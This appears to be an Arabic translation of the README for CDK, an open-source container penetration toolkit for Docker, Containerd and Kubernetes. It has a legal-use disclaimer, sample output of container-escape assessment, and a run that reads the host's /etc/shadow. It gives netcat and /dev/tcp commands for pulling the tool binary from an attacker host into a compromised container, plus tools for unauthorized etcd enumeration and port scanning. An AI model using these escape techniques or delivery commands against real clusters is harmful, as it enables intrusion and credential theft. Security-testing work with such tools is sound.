
📦 جعل اختبار الأمان لـ K8s و Docker و Containerd أسهل.
الإنجليزية | 简体中文

استخدام CDK لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. CDK مخصص لأغراض اختبار الأمان فقط.
CDK هي مجموعة أدوات مفتوحة المصدر لاختراق الحاويات، مصممة لتوفير استغلال مستقر في حاويات مختلفة مبسطة دون أي اعتماد على نظام التشغيل. تأتي مع أدوات شبكة مفيدة والعديد من البراهين/الاستغلالات القوية وتساعدك على الهروب من الحاوية والسيطرة على مجموعة K8s بسهولة.
شغّل cdk eva للحصول على معلومات التقييم واستغلال موصى به، ثم شغّل cdk run لبدء الهجوم.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
قم بتنزيل أحدث إصدار من https://github.com/cdk-team/CDK/releases/
ضع الملفات التنفيذية في الحاوية الهدف وابدأ الاختبار.
إذا كان لديك استغلال يمكنه تحميل ملف، فيمكنك تحميل ملف CDK الثنائي مباشرة.
إذا كان لديك استغلال RCE، ولكن الحاوية الهدف لا تحتوي على curl أو wget، فيمكنك استخدام الطريقة التالية لتسليم CDK:
(على مضيفك)
nc -lvp 999 < cdk
cat < /dev/tcp/(عنوان_ip_العام_لمضيفك)/(المنفذ) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
يحتوي CDK على ثلاث وحدات:
الاستخدام
cdk evaluate [--full]
| التكتيكات | النص | مدعوم | الاستخدام/مثال |
|---|---|---|---|
| جمع المعلومات | معلومات نظام التشغيل الأساسية | ✔ | link |
| جمع المعلومات | الإمكانيات المتاحة | ✔ | link |
| جمع المعلومات | أوامر لينكس المتاحة | ✔ | link |
| جمع المعلومات | التركيبات | ✔ | link |
| جمع المعلومات | مساحة اسم الشبكة | ✔ | link |
| جمع المعلومات | المتغيرات البيئية الحساسة | ✔ | link |
| جمع المعلومات | العمليات الحساسة | ✔ | link |
| جمع المعلومات | الملفات المحلية الحساسة | ✔ | link |
| جمع المعلومات | توجيه Kube-proxy للشبكة المحلية (CVE-2020-8558) | ✔ | link |
| جمع المعلومات | اكتشاف الخدمة المستند إلى DNS | ✔ | link |
| الاكتشاف | معلومات خادم K8s Api | ✔ | link |
| الاكتشاف | معلومات حساب خدمة K8s | ✔ | link |
| الاكتشاف | واجهة برمجة تطبيقات بيانات تعريف مزود السحابة | ✔ | link |
قائمة بجميع الاستغلالات المتاحة:
cdk run --list
تشغيل استغلال مستهدف:
cdk run <اسم-النص> [خيارات]